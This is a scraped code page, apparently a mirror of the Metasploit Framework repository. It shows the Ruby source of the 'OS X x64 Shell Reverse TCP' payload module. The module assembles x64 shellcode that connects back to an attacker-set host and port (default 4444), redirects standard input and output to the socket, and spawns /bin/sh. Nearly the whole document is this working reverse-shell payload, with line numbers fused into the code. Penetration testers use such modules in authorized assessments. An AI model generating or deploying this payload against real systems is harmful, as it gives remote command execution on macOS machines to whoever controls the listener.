Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb
Views: 11780
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule67CachedSize = 12889include Msf::Payload::Single10include Msf::Payload::Osx11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(15merge_info(16info,17'Name' => 'OS X x64 Shell Reverse TCP',18'Description' => 'Connect back to attacker and spawn a command shell',19'Author' => 'nemo <nemo[at]felinemenace.org>',20'License' => MSF_LICENSE,21'Platform' => 'osx',22'Arch' => ARCH_X64,23'Handler' => Msf::Handler::ReverseTcp,24'Session' => Msf::Sessions::CommandShellUnix25)26)2728# exec payload options29register_options(30[31OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),32Opt::LHOST,33Opt::LPORT(4444)34]35)36end3738# build the shellcode payload dynamically based on the user-provided CMD39def generate(_opts = {})40lhost = datastore['LHOST'] || '127.0.0.1'41# OptAddress allows either an IP or hostname, we only want IPv442unless Rex::Socket.is_ipv4?(lhost)43raise ArgumentError, 'LHOST must be in IPv4 format.'44end4546cmd = (datastore['CMD'] || '') + "\x00"47encoded_port = [datastore['LPORT'].to_i, 2].pack('vn').unpack1('N')48encoded_host = Rex::Socket.addr_aton(lhost).unpack1('V')49encoded_host_port = format('0x%.8x%.8x', encoded_host, encoded_port)5051shell_asm = %(52mov eax,0x200006153push 0x254pop rdi55push 0x156pop rsi57xor rdx,rdx58syscall59mov r12,rax60mov rdi,rax61mov eax,0x200006262xor rsi,rsi63push rsi64mov rsi, #{encoded_host_port}65push rsi66mov rsi,rsp67push 0x1068pop rdx69syscall70mov rdi,r1271mov eax,0x200005a72mov rsi,273syscall74mov eax,0x200005a75mov rsi,176syscall77mov eax,0x200005a78mov rsi,079syscall80xor rax,rax81mov eax,0x200003b82call load_cmd83db "#{cmd}", 0x0084load_cmd:85pop rdi86xor rdx,rdx87push rdx88push rdi89mov rsi,rsp90syscall91)9293Metasm::Shellcode.assemble(Metasm::X64.new, shell_asm).encode_string94end95end969798